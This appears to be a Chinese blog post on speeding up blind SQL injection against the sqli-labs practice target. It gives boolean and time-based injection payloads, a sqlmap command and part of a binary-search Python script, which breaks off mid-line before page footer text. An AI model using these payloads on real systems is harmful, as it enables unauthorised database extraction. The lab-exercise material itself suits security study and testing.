SQL盲注加速方法总结

sql盲注加速方法总结

盲注分为布尔盲注和时间盲注,一般为加快测试速度都用工具或者脚本跑。但有时还是很慢,这时就需要采取另外办法。在参考了一些资料后经过实验总结可行方案如下。1.二分法加速、2.与运算加速、3.二进制延时注入加速、4.dnslog OOB外带通信

常规的布尔盲注

猜解数据库名字的长度
?id=-1' or length(database())=8--+

逐一猜解数据库
?id=-1' or ascii(substr(database(),1,1))=115--+
或者
?id=-1' or ascii(mid(database(),1,1))=115--+
或者
?id=-1' or mid(database(),1,1)='s'--+

按照相同的方法猜解数据表的名字和字段内容
?id=-1' or ascii(mid(select (table_name) from information_schema.tables where
table_schema=database() limit 1,1))=?--+

常规的时间盲注

猜解数据库名字的长度
?id=-1' or if(length(database())=8,sleep(5),0)--+

猜解数据库名称
?id=-1' or if(ascii(mid(database(),1,1))<=135,sleep(5),0)--+
相同的方式猜解数据表数据字段

以sqli-lab靶场Less9为例进行测试

常规的sqlmap跑一下

sqlmap -u "http://192.168.3.17/sqli-labs/Less-9/?id=1" --tech=T --dbms=mysql --current-db --batch

在这里插入图片描述

总共耗时约67s,在爆表时花费11s

1.二分法加速

二分法也是一个常规的算法,数据量太大太小都不适合该算法。而我们盲注加速匹配字符的条件正好合适。

主要原理就是从中间截断,不断缩小检索范围。

在sqli-labs Less8中有判断依据You are in …,因此可以使用布尔盲注。以下是copy别人的二分法脚本

import requests
import time
import math

def binarySearch(url,payload,start,end):
    left=start
    right=end
    while left<right:
        mid=math.floor((left+right)/2)
        xkey1=payload.format(str(mid))
        target = url + xkey1
        #print(target)
        response = requests.post(target)
        if "You" in response.text:
            left=mid+1
        else:
            right=mid
    return int(left)

def database_len(url):
    for i in range(20):
        payload = "?id=1%27and%20length(database())>{}%23"
        return binarySearch(url,payload,0,100)

def database_name(url): #二分法
    databasename = ''
    aa =
  • 0
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值